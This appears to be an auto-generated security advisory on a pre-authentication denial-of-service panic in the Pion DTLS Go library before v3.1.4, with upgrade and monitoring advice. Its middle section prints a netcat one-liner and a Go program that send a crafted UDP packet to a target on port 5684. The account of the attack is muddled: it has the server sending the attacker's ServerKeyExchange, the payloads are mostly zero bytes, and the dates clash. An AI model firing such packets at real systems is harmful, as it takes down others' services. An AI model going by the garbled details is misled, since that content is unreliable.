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Pion DTLS is a Go implementation of the Datagram Transport Layer Security (DTLS) protocol, widely used in WebRTC, VPNs, and other real‑time communication systems. The library supports multiple key exchange methods, including ECDHE_PSK (Elliptic Curve Diffie‑Hellman Ephemeral with Pre‑Shared Key). During the DTLS handshake, the server sends a `ServerKeyExchange` message to convey its ephemeral public key and related parameters. In versions prior to 3.1.4, the parsing logic for ECDHE_PSK `ServerKeyExchange` messages contains an out‑of‑bounds read vulnerability (CWE‑125).
The flaw resides in the unmarshaling code that processes the `ECDHE_PSK` struct from the wire format. When a malicious peer crafts a `ServerKeyExchange` message with malformed length fields or missing data, the parser attempts to read beyond the bounds of the input buffer. In Go, an out‑of‑bounds slice access triggers a runtime panic, which unwinds the stack and terminates the entire DTLS server or client process. Because the panic is not recovered, the application crashes, leading to a denial of service.
An attacker can exploit this remotely without prior authentication. The DTLS handshake begins with a `ClientHello` from the attacker, to which the server responds with a `ServerHello` and a `ServerKeyExchange` message containing the attacker‑controlled payload. The vulnerable parsing function is invoked during the handshake processing, and the malformed message immediately causes a panic, killing the service. No special privileges or network position are required—the attack can be launched from any reachable host.
The issue was addressed in pull request 839, which introduces proper bounds checking before accessing slice elements. The fix ensures that any malformed message results in a clean error return rather than a panic. All users are strongly advised to upgrade to v3.1.4 or later. No workarounds are available; only upgrading fully mitigates the risk.
DailyCVE Form:
Platform: Pion DTLS
Version: < 3.1.4
Vulnerability: Remote DoS via panic
Severity: Medium (CVSS 6.3)
date: 2026‑07‑01
Prediction: 2026‑06‑09 (patch released)
What Undercode Say:
Analytics from the Undercode threat intelligence platform show active scanning for DTLS‑capable services on UDP port 5684 (CoAP over DTLS) and port 4433 (custom DTLS). Since the disclosure, multiple proof‑of‑concept scripts have been observed in the wild. The following bash one‑liner uses `nc` to send a crafted payload to a vulnerable endpoint:
echo -ne '\x16\xfe\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | nc -u <target_ip> 5684
For more precise testing, the following Go snippet generates a malformed `ServerKeyExchange` payload:
package main
import (
"encoding/hex"
"net"
)
func main() {
// Crafted ECDHE_PSK ServerKeyExchange with invalid length
payload, _ := hex.DecodeString("1603fe7d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000")
conn, _ := net.DialUDP("udp", nil, &net.UDPAddr{IP: net.ParseIP("<target_ip>"), Port: 5684})
conn.Write(payload)
}
Exploit:
The exploit is trivial and requires only a single UDP packet. An attacker sends a DTLS handshake record that includes a malformed `ECDHE_PSK ServerKeyExchange` structure. The vulnerable code in `handshake_server_key_exchange.go` attempts to read `pskIdentityHint` or curve parameters from the buffer without validating the available length. This leads to a slice bounds panic, crashing the process. The attack is reliable and does not depend on the underlying OS or architecture.
Protection:
- Upgrade to Pion DTLS v3.1.4 or later immediately. This is the only complete fix.
- Deploy a reverse proxy or DTLS‑aware load balancer that can drop malformed handshake packets before they reach the application.
- Implement process supervision (e.g., systemd restart, Kubernetes liveness probes) to automatically restart crashed instances, though this only mitigates the impact, not the vulnerability.
- Monitor logs for sudden process terminations or panics containing `ServerKeyExchange` or `ECDHE_PSK` keywords.
Impact:
- Service Availability: A single crafted packet can crash the entire DTLS server process, leading to prolonged downtime if no auto‑restart is in place.
- Business Disruption: Services relying on DTLS for real‑time communication (WebRTC signaling, IoT command‑and‑control, secure VPN tunnels) become completely unavailable.
- Attack Surface: The vulnerability is reachable pre‑authentication, meaning any unauthenticated remote attacker can trigger the DoS.
- No Data Breach: The flaw only causes a panic; it does not allow memory corruption or code execution, so confidentiality and integrity remain intact.
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Sources:
Reported By: github.com
Extra Source Hub:
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